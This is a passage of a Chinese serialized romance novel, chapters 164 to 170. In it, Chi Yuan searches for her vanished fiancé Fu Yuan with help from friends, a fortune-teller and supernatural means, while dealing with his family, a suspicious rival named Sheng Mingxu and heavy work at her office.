可如今,这一切都成了回忆。一想到再也见不到傅渊,池鸢只觉心中一阵剧痛,再也抑制不住情绪,泪水夺眶而出,忍不住失声痛哭起来,那哭声里满是悲伤与无助。 陆辰看着池鸢哭得肝肠寸断,心中满是不忍,急忙递上一块手帕,自责道:“池姑娘,别难过了,都怪我不好,没能帮你早些找到傅公子。”池鸢眼眶泛红,泪水止不住地落下,听到这话,她缓缓摇了摇头,声音带着浓浓的鼻音说道:“陆先生,您帮我的已经够多了,这只能怪天意如此吧。”她的眼神里满是绝望与无奈,仿佛被一层厚厚的阴霾笼罩。 陆辰暗自咬牙,在这困境中绞尽脑汁,四处探寻出路。终于,他凭借着自己的智慧与坚韧,找到了爬上地面的办法。他小心翼翼地带着池鸢,一步一步离开了这个充满绝望与悲伤的地坑。一路上,池鸢的脚步沉重如铅,每一步都像是踩在自己破碎的心上。 回到城中,池鸢顾不上一路的疲惫,径直前往傅家。当她将傅渊消失的消息告诉傅家人时,傅家人的脸上满是震惊与难以置信。他们怎么也不愿相信,那个鲜活的傅渊竟会离奇失踪。从那以后,傅家便开启了一场不知疲倦的寻找,不放过任何一个可能的线索。 日子就这样一天天过去,转眼间,几个月的时间悄然流逝。在这漫长的等待与寻找中,池鸢的心也在煎熬中变得愈发麻木。她每日都会望向傅渊离去的方向,眼中的期待渐渐被无尽的落寞所取代,而傅家的寻找依旧毫无结果。 第164章 困 在之后的几天里,池鸢整个人仿佛失了魂,上班时全然不在状态,茶饭不思,眼神中尽是掩饰不住的焦虑与担忧。 何璃瞧着平日里干练的前辈如此萎靡,心里满是不忍,终于忍不住走上前去关心。一番交谈后,她才得知,池鸢家中竟出了大事——池鸢的未婚夫离奇失踪了。 “前辈,我认识一位私家侦探,叫伊费,特别靠谱,您不妨联系一下他,说不定能有线索。”何璃满脸关切地说道。 池鸢有些意外地接过何璃递来的名片,心里暗自嘀咕:没想到这丫头还对私家侦探有所了解,难不成是用来监视她男朋友的?可再瞧瞧何璃与她男朋友平日里如胶似漆、形影不离的样子,那男生看着也不像是会背着何璃做出什么不轨之事的人。 何璃见池鸢神色复杂,认真地补充道:“前辈,我对很多事情的态度都很严谨的,希望您一定能找到您的未婚夫。” 池鸢微微点头,目光不经意间扫到何璃手上,只见一枚钻戒正闪闪发光,似乎比之前的更大了一圈。 “这枚钻戒挺漂亮的,花了不少钱吧?”池鸢问道。 “小十万呢。”何璃没想到前辈会突然问起这个,心里不禁疑惑:难道前辈也开始注重生活品质和物质享受了? 池鸢轻轻一笑,思绪不由自主地飘远:想当年,自己也是个喜欢去酒吧放松的人,灯红酒绿间,释放着生活的压力。可何璃这样严谨、精致的女孩,怕是从来没去过那种热闹又喧嚣的地方吧。 接下来的几天,池鸢在公司强打精神,一心扑在之前落下的工作上。那些堆积如山的任务,耗费了她大量的精力和时间,每完成一项,她都仿佛在黑暗中寻得了一丝光亮。 然而工作任务繁重如山,留给池鸢完成的时间却极为紧迫,这让她焦头烂额,状态不佳的她也特别容易出错。面对密密麻麻需要修改的数字报表,池鸢只觉得脑袋发涨,太阳穴突突地跳,每核对一个数字都仿佛要耗尽全身力气。 除此之外,她还得按照约定时间去服务客户。 这天,池鸢和何璃一同前往见客户。在去的车上,两人严肃又默契地达成共识:绝不能任由客户牵着鼻子走,不管对方给出多诱人的条件,都坚决不能再稀里糊涂当“小白鼠”。有了之前的惨痛教训,她们深知和客户保持适当距离才是明智之举。 到了约定地点见到客户时,池鸢和何璃心中不禁泛起嘀咕,眼前这位客户身着女装,举手投足间的气质,让她们隐隐觉得对方是男性。何璃赶忙凑近池鸢,小声安慰道:“这很正常,搞艺术的人总会带些与众不同的气质。” 这位打扮独特的艺术大哥热情地给池鸢和何璃倒上了茶水,而后便开始兴致勃勃、滔滔不绝地讲述起自己在艺术领域的见解与经历。池鸢听得似懂非懂,可出于礼貌,还是耐着性子强撑了四十多分钟。 直到那位艺术大哥话锋一转,突然提出要给她们二人占卜。池鸢微微皱眉,心里暗自嘀咕:最近是怎么了,预言、占卜这类事情这么流行吗?她毫不犹豫地摆了摆手,脸上明显流露出对占卜之事的兴致缺缺。 然而何璃却截然不同,她这段时间正为自己的婚姻、感情以及事业的走向满心疑惑,心里的问号一个接一个。 听到可以占卜,她眼中闪过一丝期待,竟乖乖地跟着那位艺术家走进了占卜房间。池鸢见状,心里“咯噔”一下,急切地想要伸手拉住何璃,提醒她别越过与客户之间该有的界限。 “上次的事你难道都忘记了吗?”池鸢着急地提醒着何璃,眼中满是担忧。 想起上次的遭遇,池鸢至今仍心有余悸。那次她被一位大妈折腾得面目全非,造型糟糕透顶。要不是运气爆棚,碰到了那个如同小说中走出来的“纸片人”般的人,给予了她帮助,或许到现在她还在因自己当时那不堪入目的外貌而备受打击,情绪低落呢。 “前辈,我真的特别担心我和沈默的感情。”何璃一脸愁容,眼神中满是不安。 池鸢赶忙抬手示意何璃打住,认真且坚定地说道:“别瞎想了,没什么好担心的。你看你们平日里相处得那么甜蜜,感情好着呢!” 池鸢试图阻拦,却没能成功,只能眼睁睁地看着何璃走进了那间占卜的房间。 果然,没过多久,何璃从房间里走了出来,手中紧紧攥着纸巾,不住地抽泣着,肩膀微微颤抖。看样子,是听到了什么不好的消息。 “怎么了?发生什么事了?”池鸢关切地问道。 何璃哽咽着说:“大师说,我和沈默的婚事会推迟……” “啊?那你们……会不结婚吗?”池鸢心中一紧。 何璃连忙摇了摇头,带着哭腔解释道:“大师说我们最后还是会在一起的。” “那就够了呀,这个结果也不是不能接受嘛。”池鸢轻轻点了点头,试图安慰何璃,“起码比我强,傅渊到现在都失踪着呢。” 就在她说这句话的时候,不经意间转过头,却发现那位艺术家正神色凝重地注视着自己,目光中似乎藏着些什么。池鸢下意识地摇了摇头,可不知为何,内心有一股冲动驱使着她。 最终,她还是迈步走进了房间,将傅渊失踪的前因后果,一五一十地告诉了对方。 艺术家微微皱眉,脸上露出一丝凝重之色,缓缓开口道:“这件事恐怕无法依靠占卜完成,因为我发现有些未知的力量在阻断,导致我看不清楚关于你未婚夫失踪的具体情况。” 池鸢听后,心中涌起一阵失望,但她还是强打起精神,眼神中透露出一丝急切:“真的一点线索都没有吗。” 虽然她也猜测到如此。 艺术家无奈地摇了摇头,摊开双手说道:“我已经尽力了,这股阻碍太过强大,以我的能力暂时无法突破。但你也别太灰心,或许从其他方面入手,能找到一些蛛丝马迹。” 池鸢咬了咬嘴唇,心中五味杂陈,她知道,寻找傅渊的路,恐怕比她想象中还要艰难。 第165章 透 一周转瞬即逝,池鸢在街头与陆辰、楚云朵不期而遇。彼时,陆辰正静静等候楚云朵放学,夕阳的余晖温柔洒落,勾勒出他挺拔的身姿。 这一幕,恰似往昔傅渊接送池鸢的场景,熟悉又温馨,让池鸢看得有些出神,往昔的回忆如潮水般涌上心头。 待她回过神,陆辰和楚云朵已并肩走来。楚云朵手中拿着一团蓬松洁白的棉花糖,像一朵轻盈的云朵,丝丝甜意弥漫在空气中。她扬起天真烂漫的笑脸,脆生生地说:“池小姐,你要吃吗?” 池鸢微微一怔,随即轻轻摇了摇头,嘴角勾起一抹柔和的弧度,婉拒道:“谢谢你,云朵,我不太想吃。” 陆辰眼中闪过一抹惊喜,微笑着打招呼:“好巧啊,你是路过这儿吗?对了,你未婚夫的事情怎么样了?解决得还顺利吗?” 池鸢的笑容瞬间僵住,眼中闪过一丝落寞,她再次缓缓摇头,轻轻叹了口气,没有说话。 陆辰见状,心中了然,这次的事情怕是棘手。他微微皱眉,关切地提议:“要不要我再帮你想想办法?多一个人多一份力量,说不定能找到解决的办法。” 池鸢连忙摆手,感激地说道:“不用了,陆辰,真的很感谢你的好意。我只是今天散步时不知不觉走到了这里,不想给你们添麻烦。” 楚云朵瞧着两人的神情,好奇心一下子被勾了起来,满脸疑惑地问道:“又有什么事呀,你们俩可别背着我。”那模样,就像个急于探寻秘密的小侦探。 池鸢张了张嘴,很想向她解释一番,可话到嘴边,却又不知从何说起。 就在这时,陆辰微微俯下身,在楚云朵的耳边小声嘀咕了几句。 只见楚云朵原本满是好奇的眼睛瞬间瞪大,脸上写满了惊讶:“什么,有人失踪了,还是池鸢的未婚夫?那些办案的人呢,都干什么吃的。”说着,她双手抱在胸前,胸脯微微起伏,满脸义愤填膺,显然是在为池鸢打抱不平。 紧接着,楚云朵脑袋一转,开始谋划起来:“不行,我们不能就这么干等着,我们去找,分开行动。这样找到的几率还能大一些。”说完,她便风风火火地翻开自己的书包。 池鸢满心疑惑地凑过去,只见书包里静静躺着一块石头。石头表面并不光滑,上面刻着奇异的龟背图案,线条古朴而神秘,像是隐藏着无尽的秘密。 楚云朵伸出手,轻轻触碰那块石头,刹那间,一道微光闪过,似乎有某种神秘的力量被唤醒。 楚云朵深吸一口气,集中精神,纤细的手指紧紧贴着刻有龟背图案的石头。随着她口中念念有词,那石头上的纹路竟隐隐发起光来,柔和的光芒将她笼罩其中。她开启神识,以自己为中心,向着四面八方蔓延开去,试图捕捉傅渊的一丝踪迹。 时间在紧张的氛围中缓缓流逝,不过半个时辰,楚云朵紧闭的双眼陡然睁开,眼中闪烁着惊喜与兴奋的光芒。她猛地抬起头,急促地对池鸢说道:“找到了!我找到傅渊的位置了!他在……”她迅速且清晰地说出了具体方位。 陆辰一听,立刻果断地说道:“那现在就去,一刻也别耽误。”说着,他已经抬脚准备出发。 池鸢看着两人的反应,心中却泛起了嘀咕。上次陆辰带自己去古拓镇,一路上状况百出,就靠着一个罗盘指路,结果差点挖坑掉进洞里。这次更离谱,又是靠着这么一块龟壳石就找到了人。 想到这儿,池鸢不禁暗自琢磨,也不知道这两人是不是联合起来故意耍自己,可看他们一脸认真的模样,又不像是在开玩笑,这让池鸢心里满是纠结,可一想到傅渊,还是决定先跟着他们去看看再说。 楚云朵给出的定位竟也是古拓镇,这一下,池鸢心中的疑惑彻底炸开了锅。怎么会这么巧?要是陆辰和楚云朵没有事先串通,怎么会两次都指向同一个地方? 池鸢忍不住偷偷瞧了楚云朵一眼,只见她柳眉微蹙,眼神专注,那副认真的模样,实在不像是在演戏。 坐在飞驰的动车上,窗外的景色如幻灯片般快速闪过,可池鸢却无心欣赏,满心都是沉甸甸的忧虑。这几日,她把自己埋在公司事务里,忙碌成了逃避现实的借口。 她不敢去傅家,甚至不敢向熟悉的人打听消息,内心深处,是对听到坏消息的深深恐惧。万一真有什么噩耗,自己该怎么承受? 想到这儿,池鸢的手不自觉攥紧衣角,指节都因用力泛白,她望着窗外发呆,思绪纷乱如麻,只希望这趟前往古拓镇的旅程,能给自己一个确切的答案。 正沉浸在各自思绪里时,动车上开始分发午餐。他们乘坐的是特等座,餐食的质量自然不错。乘务员推着餐车,将精致的盒饭依次送到乘客手中。 楚云朵双手接过面前的盒饭,刚一打开,一股诱人的香气扑鼻而来,她不禁赞叹:“好香。”那香味勾得人食指大动,几人也不再矜持,纷纷拿起筷子,大快朵颐起来。 饭菜的美味暂时驱散了些许凝重的气氛,可欢乐并未持续太久。很快,动车广播里传来即将到站的温馨提示。几人收拾好餐盒,准备下车。 就在这时,眼尖的楚云朵透过车窗,发现不远处升腾起滚滚黑烟,那烟柱在晴空下格外醒目。 楚云朵心中“咯噔”一下,她凭借直觉判断,那似乎正是古拓镇的方向。她皱起眉头,心中暗自思量:如果一切正常,怎么会无端冒出火烟呢? 想到这儿,她拍了拍自己的胸脯,嘴里嘟囔着:“看来这次,我是找对了。”那自信满满的模样,仿佛在向全世界宣告她的判断。 池鸢瞧着楚云朵一惊一乍的样子,心里满是疑惑,眼神中透露出不安与担忧。而陆辰则坐在一旁,看着窗外的黑烟,笑而不语,那笑容里,似乎藏着不为人知的秘密,让人捉摸不透。 第166章 失 烈日高悬,炙烤着大地,陆辰、池鸢与楚云朵三人终于抵达了目的地。这里是一条略显古朴的街道,青石板路在日光下泛着温润的光泽,街边林立着古旧的店铺,招牌在微风中轻轻晃动。 楚云朵兴致勃勃,一心想要帮池鸢找到她苦苦寻觅的东西。她学着陆辰的样子,目光在四周仔细搜寻,不放过任何一个角落。 她时而蹲下身子查看店铺角落的杂物,时而踮起脚尖望向高处的货架,眼睛瞪得大大的,满是专注。可时间一点点过去,那东西却像是故意躲着她,怎么也寻不见。 不多时,汗水就密密麻麻地布满了她的额头,顺着脸颊不断滑落,浸湿了她的衣领。到了中午,三人走进街边一家小饭馆。 楚云朵一坐下,就不停地说着抱歉,声音里满是愧疚与懊恼:“真不好意思,我本以为肯定能找到的,也不知道怎么就……”她一边说着,一边用手不停地扇着风,试图让自己凉快些。 池鸢脸上挂着淡淡的微笑,轻声说道:“没事的,别往心里去。”随后便不再多言,低下头安静地吃着碗里的饭菜,动作优雅而缓慢。 楚云朵见池鸢这般反应,心里稍安,转而看向陆辰,脸上满是疑惑与不甘,说道:“怎么可能呢,我都算准就是这附近了。按道理肯定能找到的呀,怎么会一点踪迹都没有。” 陆辰连忙点头应和:“是啊,也许是我们忽略了什么细节,再找找说不定就能发现了。” 就在这时,楚云朵的手机突然响了起来,是楚家的长辈打来的。她刚一接通,电话那头就传来楚父焦急又严厉的声音:“云朵,怎么天都快黑了还不回家?你跑哪去了?” 楚云朵连忙解释:“爸,我在帮朋友找人呢。” 楚父一听,语气瞬间变得更加严肃,大声呵斥道:“找人?你是不是和陆辰在外面呢?你还没有成年,家族的仪式也还没举行,赶紧给我回来!” 楚云朵被训得脸色通红,气呼呼地放下电话,嘴里还嘟囔着:“真是的,我又不是小孩子了。”还不忘转头向陆辰抱怨:“我爸也太小题大做了,就出来帮个忙,还非得让我马上回去。” 池鸢看着二人,一个气鼓鼓,一个满脸无奈,不由得摇了摇头,轻声劝道:“算了算了,你们先回去吧,我在这接着找。反正我也习惯一个人找东西了,说不定你们走了,我运气好就能找到了。” 楚云朵一听,眼睛瞬间亮了起来,就像找到了救命稻草一般,急切地问道:“真的吗?可以这样吗?那真是太谢谢你了,池鸢。”说着,便迅速拿起放在一旁的衣服,站起身来,准备离开。 陆辰自然不能让楚云朵一个人回去,毕竟她还未成年,要是路上出了什么事,他可担待不起。 于是他也站起身,向池鸢点头示意:“那池鸢,我们就先走了,你自己小心点。要是有什么需要帮忙的,随时联系我们。” 池鸢微笑着点点头,自信地说:“放心吧,这里的事我应付得来。” 转眼间,陆辰和楚云朵的身影就消失在了街道的尽头。池鸢独自坐在小店里,周围一下子安静了下来,显得有些冷清。她轻轻叹了口气,目光再次投向四周,准备继续寻找那个对她来说无比重要的人。 池鸢坐在小店那略显破旧的木桌前,眉头微蹙,全神贯注地翻找着手机上的信息,屏幕的亮光映照着她满是焦急的脸庞。那些信息里或许藏着找到傅渊的关键线索,她的手指在屏幕上快速滑动,不放过任何一个可能有用的细节。 突然,一道高大的身影在她面前落座,大片的阴影瞬间挡住了池鸢的视线,也打断了她的思绪。池鸢下意识地抬起头,看清来人后,眼中闪过一丝惊讶。 竟然是里亚。 里亚背着一个造型古朴的包,那包的材质和上面繁复的花纹,透着一股神秘的气息,一看就不是寻常之物。他的脖子上挂着一枚奇怪的银饰吊坠,吊坠随着他的动作轻轻晃动,上面奇异的符号仿佛在诉说着不为人知的故事。 他的头发似乎长长了一些,几缕碎发垂落在额前,让他原本深邃的五官更添了几分不羁。 “你怎么在这里?”里亚率先开口,声音低沉,在这略显安静的小店里格外清晰。 池鸢微微一怔,很快回过神来,连忙解释道:“是傅渊失踪了,我在找他,所以才来这里。”说到傅渊,她的眼神中流露出担忧。 “是你的未婚夫?”里亚又追问了一句,他的目光紧紧盯着池鸢,似乎想要从她的表情里探寻出更多的东西。 里亚确实知道一些事,知道池鸢有个未婚夫叫傅渊,知道外界传言池鸢与盛明栩关系匪浅,甚至知道在那个虚拟游戏世界里,自己和池鸢是伴侣。这些错综复杂的关系,就像一团乱麻,而池鸢身处其中。 短暂的沉默后,里亚再次开口,语气里多了几分复杂的情绪:“你到底要做出什么样的选择?” 池鸢满脸困惑,眉头轻皱,眼中满是迷茫之色,反问道:“嗯?你这话是什么意思?”在她心里,里亚的问题太过突兀,一时摸不着头脑。 里亚微微前倾,目光紧锁池鸢,语气笃定地说:“你不希望他消失吗。他的失踪,或许并不简单。”在里亚看来,傅渊的消失或许暗藏玄机。 池鸢急忙摇头,发丝随着动作轻轻晃动,急切地说道:“当然不是,我一定要找到他。”她的眼神中满是坚定,寻找傅渊的决心溢于言表。 里亚靠向椅背,双手交叉抱在胸前,不紧不慢地说:“我可以帮忙寻找,但我的能力仅限于未知生命。”他抬眸,看向池鸢,观察她的反应。 “未知生命?什么意思?”池鸢追问道,眼中满是疑惑,身体不自觉地向前倾,迫切想要得到答案。 里亚刚欲开口,这时,小店的老板看向柜台后的老板娘,抬了抬下巴,小声嘀咕:“你说她怎么了?一直自己在那儿说话。” 老板娘一边擦拭着杯子,一边轻叹:“年纪轻轻的小姑娘,这种情况不是很常见嘛。要么感情失意,要么工作不顺。哎,你别打扰她了。” 两人的声音虽小,但在这安静的小店里,还是传进了池鸢的耳中,她微微一怔,有些尴尬地低下头。 第167章 涟漪 里亚在周遭仔细搜寻了好一阵,目光急切地扫过每一处角落,不放过任何一丝可能藏人的地方,然而,却并未找到任何有关傅渊的踪迹。 不过换个角度想,这倒也能说明,傅渊应该是平安无事的,大概率只是去往了别的地方,并不在这周围。 池鸢一直紧绷的心弦终于缓缓放松,长舒了一口气,原本紧蹙的眉头也随之舒展开来,眼中的忧虑渐渐消散。 里亚拖着沉重的步伐走进来,整个人仿佛被抽干了力气,瘫坐在椅子上。 他嘴唇干裂,脸上写满疲惫,自始至终,都没提及傅渊究竟在何处。池鸢瞧着他这副模样,心里明白,这一番搜寻必定耗费了他极大的心力,个中艰辛怕是难以言表。 池鸢没有多问,安静地坐在一旁,只是低头慢慢喝着手中的奶茶。空气中弥漫着一种令人压抑的沉默,只有吸管偶尔搅动奶茶里珍珠的声音。 片刻后,池鸢轻轻起身,动作轻柔地拿起一杯还冒着丝丝热气的奶茶,缓缓放在里亚面前。 奶茶杯上凝结的水珠,顺着杯壁缓缓滑落,在桌面上晕开一小片水渍,就像此刻两人难以言说的复杂心情。 …… 池鸢对着穿衣镜反复调整珍珠耳钉的角度,镜中人苍白的指尖微微发颤。 衣柜里躺着的那件藏青色真丝裙,已经被她试穿过三次,端庄的立领与恰到好处的收腰设计,在暖黄灯光下泛着柔和的光泽,却仍像一件紧绷的铠甲。 她知道,这场与傅家人的饭局不是普通的家宴,注定要被审视。 车载导航显示还有十分钟抵达云栖山庄时,山间晨雾尚未散尽。蜿蜒的柏油路上零星洒落着银杏叶,两侧竹林在晨风里发出簌簌轻响,将这座占地百亩的庄园衬得愈发幽深。 池鸢望着车窗外掠过的青瓦白墙,想起管家电话里特意强调的家族私密聚会——这座山庄设有三道门禁,连服务生都是傅家从老宅带来的旧人。 宴会厅挑高的穹顶垂落着水晶吊灯,傅家老太坐在主位上,金丝眼镜后的目光像把锋利的手术刀。 当清蒸石斑鱼的热气氤氲在雕花骨瓷碗上方时,老人终于放下银匙,指甲上的翡翠护甲轻轻叩击桌面:小鸢,渊儿最近可有消息? 池鸢将烫金餐布在膝头又抚平了些,青瓷盏里的碧螺春泛起细小涟漪。 她从傅渊最后一次发消息的时间节点说起,将那些支离破碎的线索细细拼凑。 席间此起彼伏的餐具碰撞声突然安静下来,傅家二叔转动着紫檀佛珠的手指也顿住了,只有壁炉里的松木在噼啪作响,将众人的影子投在墙上,像是一幅凝固的浮世绘。 傅渊的父亲听闻此事后,特意将她叫到跟前,神色凝重地提点了一番。 原本精神矍铄、意气风发的面容,在谈及此事时,像是被岁月陡然抽去了几分生气,原本明亮的眼眸也添了几分黯淡与疲惫,眼角的皱纹似乎也在这一刻变得愈发深刻,看着有些苍老。 宴席上的瓷碗蒸腾着袅袅热气,池鸢握着银匙的指尖微微发颤。 面对众人关于婚事安排的追问,她垂眸盯着碗里浮沉着的莲子,喉间像是被裹了层浸透苦汁的棉絮,半晌都吐不出半个字。雕花窗外的日影一寸寸挪过青砖,满桌珍馐渐渐凉透,她始终没能咽下哪怕一口。 直到铜制自鸣钟叩响第七声,月洞门外终于传来沉稳脚步声,众人的目光瞬间如潮水般涌去。 老太太扶着檀木椅背缓缓起身,枯瘦手指轻点圆桌空缺处:把东席那张酸枝椅搬来。 仆役们忙不迭挪动桌椅,瓷盘相碰的脆响里,这场被悬置许久的家宴,才终于在暮色四合时,重新泛起涟漪。 第168章 找 宴会大厅里,水晶吊灯洒下明亮而柔和的光,照在餐桌上琳琅满目的佳肴上。 盛明栩就坐在池鸢对面,他身着剪裁得体的黑色西装,身姿笔挺,面容冷峻。 他先是端起桌上的酒杯,修长的手指轻轻握住杯脚,将那杯红酒缓缓送到嘴边,仰头一饮而尽,动作干脆利落,喝完后还意犹未尽地咂了咂嘴,仿佛在回味酒的醇厚。 紧接着,他拿起筷子,也不顾周围人投来的或好奇、或诧异的目光,便开始大快朵颐起来。 他夹菜的动作丝毫不显拘谨,夹起一块鲜嫩的牛排,直接放入口中,大口咀嚼着,腮帮子一鼓一鼓的,发出满足的哼声。偶尔汤汁溅到嘴角,他也只是随意地用手背一抹,完全没有在意形象。 周围的人谈论着各种话题,但他充耳不闻,一门心思扑在美食上。别人说什么,他也不管,仿佛整个世界只剩下眼前这些。 水晶吊灯在盛明栩的银发上折射出细碎冷光,池鸢握着香槟杯的指尖泛起青白。 对面男人将最后一块和牛送入口中,喉结滚动时,脖颈处新添的抓痕若隐若现。 “盛总胃口真好。”池鸢用银匙轻轻搅动着红茶,滚烫的液体表面浮沉着几片叶子,“听说傅氏集团的地下金库三天前失窃,连安保系统的加密芯片都不翼而飞?” 男人慢条斯理地擦拭嘴角,骨节分明的手指捏着餐巾,忽然低笑出声。 他终于抬眸看向池鸢,漆黑瞳孔里倒映着她紧绷的下颌线:“傅小姐不如直说,怀疑我绑架了你那位未婚夫?”红酒渍在他唇角晕开血色,像是某种不怀好意的暗示。 池鸢的目光如芒在背,盛明栩却只垂眸把玩着袖扣,指尖无意识摩挲着暗纹。 鎏金座钟发出整点报时,他瞥了眼腕表,将杯中最后一口威士忌饮尽,冰块碰撞声清脆得像是倒计时。周遭宾客还在推杯换盏,他已起身扣上西装外套。 “这么早就走?”有人笑着挽留,盛明栩扯动嘴角,露出公式化的笑容:“公司临时有急事。” 话音未落,手机屏幕适时亮起模拟的未接来电,他扬了扬手机示意,皮鞋踏在大理石地面上发出规律的声响。 经过池鸢身边时,带起的风卷落她鬓边碎发,而他始终目视前方,仿佛整个宴会厅的觥筹交错都不过是虚影,这场聚会对他而言,不过是精心计算过的时间空档,任务完成便该退场。 旋转门的金属边框映出两道交叠的影子。盛明栩刚踏入雨幕,身后急促的脚步声便穿透雨帘。他顿住脚步,转身时雨伞自动撑开,深灰伞面将两人圈出狭小的隔绝空间。 池鸢睫毛上凝着细密雨珠,攥着他西装袖口的手指微微发颤:“傅渊手机最后定位在你名下的码头。”话音未落,腕间突然传来冰凉触感——盛明栩已经扣住她的脉搏,指腹下的跳动频率被放大数倍。 “池小姐该去报警。”他垂眸注视她泛红的眼眶,拇指摩挲着她腕骨凸起的弧度,西装袖口露出半截银链。雨丝顺着伞骨坠落,在两人之间织出朦胧水幕,他忽然轻笑,松开手时指尖掠过她掌心,“或者...你更希望我帮你找?” 第169章 组 池鸢的眼眶微微泛红,双手下意识地抓紧衣角,指甲几乎嵌入掌心,面上尽是痛苦与挣扎。 她怎么也没想到,事情会发展到如今这般不可收拾的局面。她狠狠咬了咬下唇,像是用尽全身力气一般,猛地挣脱开了那只禁锢她的手,动作之剧烈,以至于身形都晃了几晃,发丝也随之凌乱地散落在脸颊旁。 以她和盛明栩那千丝万缕、错综复杂的过往,此刻的她,满心悲凉地意识到,他们已然无法去找刑人寻求援助。那些曾经的回忆,此刻就像一把把尖锐的刀,刺痛着她的心。 “算了,”池鸢声音颤抖,带着一丝绝望的哽咽,抬起头,眼中满是哀求地看向眼前的人,“我知道你不会对傅渊做什么的,以你们的关系。” 她的眼神里,除了恳求,还有深深的无奈和恐惧,仿佛在害怕即将到来的未知。 男人闻言,神色冷峻,沉默片刻后,抬手从上衣口袋里掏出一根烟,缓缓叼在嘴角,动作间带着几分漫不经心,却又透着难以掩饰的沉重。 他的眼眸微微眯起,目光如寒星般犀利,紧紧盯着池鸢,沉声道:“我是不会,但,你就说不准。”声音低沉沙哑,仿佛裹挟着无尽的深意。 “嗯?”池鸢听到这话,脸上瞬间闪过一丝茫然与不解,她下意识地皱起眉头,眼神中满是困惑,仿佛在努力理解男人话里的含义,可内心深处却隐隐有种不安在蔓延。 “你自己想想,和你在一起后,失踪的人?”盛明栩微微抬了抬下巴,出声点拨,语气里带着不容置疑的笃定,眼神紧紧锁住池鸢,不放过她脸上任何一丝表情的变化,似乎在等待她恍然大悟的那一刻。 池鸢听到这话,脸上的神情瞬间凝固,原本就苍白的脸色此刻更是没了一丝血色。 她的嘴唇微微颤抖着,想要说些什么,却又仿佛被什么东西哽住了喉咙,一个字也吐不出来。 脑海中不由自主地浮现出那些和她有过交集后便莫名消失的人,恐惧如潮水般将她彻底淹没,她的身子也开始不受控制地微微颤抖起来。 盛明栩倚着车门,骨节分明的手指摩挲着打火机金属外壳,目光如鹰隼般紧紧锁住池鸢骤然失色的脸。她睫毛剧烈颤动,像濒死的蝶,喉结上下滚动却发不出半点声响。 他在心底冷笑——原来她并非全然无知,那些被刻意掩埋的恐惧,终究还是破土而出了。 池鸢突然踉跄后退,高跟鞋在柏油路上划出刺耳声响。她转身时发梢扫过盛明栩手背,带着夜风的凉意。黑色裙摆翻飞如惊起的鸦群,她跌跌撞撞地奔向黑暗,路灯将她的影子拉得支离破碎,最终消失在拐角处那棵垂落着枯叶的梧桐树下。 盛明栩慢条斯理地将烟头按灭在车标凹陷处,火星迸溅在漆面留下焦痕。引擎发动的嗡鸣中,后视镜里她的残影仍在晃动,像枚褪了色的旧胶片。 直到拐过三个街区,猩红的交通信号灯突然将路面染成血色,他瞥见路边水坑倒映着惨白的月光。 池鸢蜷缩在水洼中央,泥水浸透的裙摆像摊开的墨渍。她垂着头,脖颈露出脆弱的弧度,雨水顺着发梢滴落在锁骨凹陷处。盛明栩降下车窗,潮湿的风裹挟着烟草味涌进车厢:要不要上车? 不用。她的声音轻得几乎被雨声吞没。盛明栩盯着她颤抖的指尖,那上面还留着被他攥出的红痕。 绿灯亮起的瞬间,轮胎碾过积水的哗啦声中,后视镜里那个狼狈的身影迅速缩小成模糊的黑点,最终消失在雨幕深处。 晨光斜斜穿过写字楼的玻璃幕墙,在池鸢工位上投下冷硬的光斑。 她攥着被雨水洇皱的包带推开办公室门,目光撞上小山似的文件堆——蓝色文件夹摞得摇摇欲坠,最顶端还压着标着加急的红色标签。 打印机吞吐纸张的嗡鸣里,何璃正对着小镜子涂抹口红,珊瑚色的膏体在她唇上晕开鲜艳的弧。 前辈,未婚夫还没找到吗?何璃的声音黏着蜜糖般的关切,指尖无意识地转着镶钻睫毛夹。 池鸢将湿透的伞靠在桌角,金属伞尖在地面拖出细长的水痕。她当然清楚自己近期出勤记录有多难看,可这次连请假流程都顾不上走——盛明栩的话像根锈钉,死死楔在她太阳穴里。 键盘敲击声突然急促起来,池鸢扯松被雨水浸皱的衬衫领口,屏幕蓝光映得她眼底泛青。 打印机吐出的文件在她肘边堆成歪斜的塔,她机械地签字、盖章,指甲在纸面刮出沙沙声响。 何璃补完妆起身时,香奈儿五号的尾调漫过来,池鸢却浑然不觉,只盯着合同上密密麻麻的条款,将所有汹涌的情绪都碾成指下流淌的黑色墨迹。 玻璃门折射的阳光刺得池鸢眯起眼,主管办公室的檀木茶香还萦绕在鼻尖。 小池啊,今年年会就靠你牵头了。主管转动着鎏金钢笔,镜片后的目光带着不容拒绝的意味,节目彩排、流程安排,特别是舞蹈组,年轻人要多上点心。 走廊尽头的电子钟赫然显示着12月20日,日历上的数字像被按了快进键,转眼就到了年尾。 池鸢捏着节目单走出办公室,粉色便签纸上舞蹈表演组几个字被指甲划出深深的凹痕。空调出风口的热风裹着咖啡香掠过,她这才发现何璃倚在墙边,手机屏幕亮着年会筹备群的界面。 前辈辛苦了。何璃收起手机时,腕间的钻石手链晃出细碎的光,听说舞蹈组去年临时换人,最后出了大岔子呢。她刻意压低的声音混着电梯升降的提示音,在空荡的走廊里荡出意味深长的回响。 池鸢低头看着节目单上逐渐晕开的水渍,忽然想起今早水坑里破碎的倒影——原来有些狼狈,从不会因时间流逝而消失。 第170章 明 深冬的玻璃幕墙凝结着细密的水珠,池鸢第无数次调整工位上的向日葵摆件,塑料花瓣在中央空调的气流里轻轻颤动。 用熬字形容这一年再贴切不过。晨会时投影幕布上跳动的业绩曲线像不断攀升的温度计,灼得人额头沁汗;客户群里二十四小时滚动的消息提示音,深夜十一点突然弹出的修改需求,都在反复叩击着心理防线。 某次季度总结会后,她蹲在消防通道里咬着三明治,听着主管在走廊里训话的声音,突然意识到连咀嚼食物都成了奢侈的放松时刻。 这家创立仅五年的互联网公司正处在野蛮生长的黄金期,开放式办公区永远浮动着咖啡与焦虑交织的气息。 茶水间的白板上,密密麻麻的OKR目标被红色荧光笔反复标注,如同永不熄灭的战书。 池鸢在整理归档时,偶尔会翻到创业初期的老照片——几位创始人挤在不足二十平的格子间里,墙上贴着歪歪扭扭的上市倒计时便签。 每当加班到凌晨,看着窗外CBD的霓虹次第熄灭,她总会想起入职时HR说的那句话:现在加入的每一个人,都可能成为未来的核心骨干。 电脑屏幕的冷光映着工位上的工牌,金属质感的LOGO在黑暗中微微发亮,仿佛在诉说着某种隐秘的承诺。或许那些熬过的夜、咽下的委屈,终有一天会在时光里发酵成珍贵的勋章。 深夜十点的写字楼依旧灯火通明,何璃的工位始终亮着暖黄色的台灯,手机屏幕在她手边交替闪烁着工作群消息与客户语音通话。 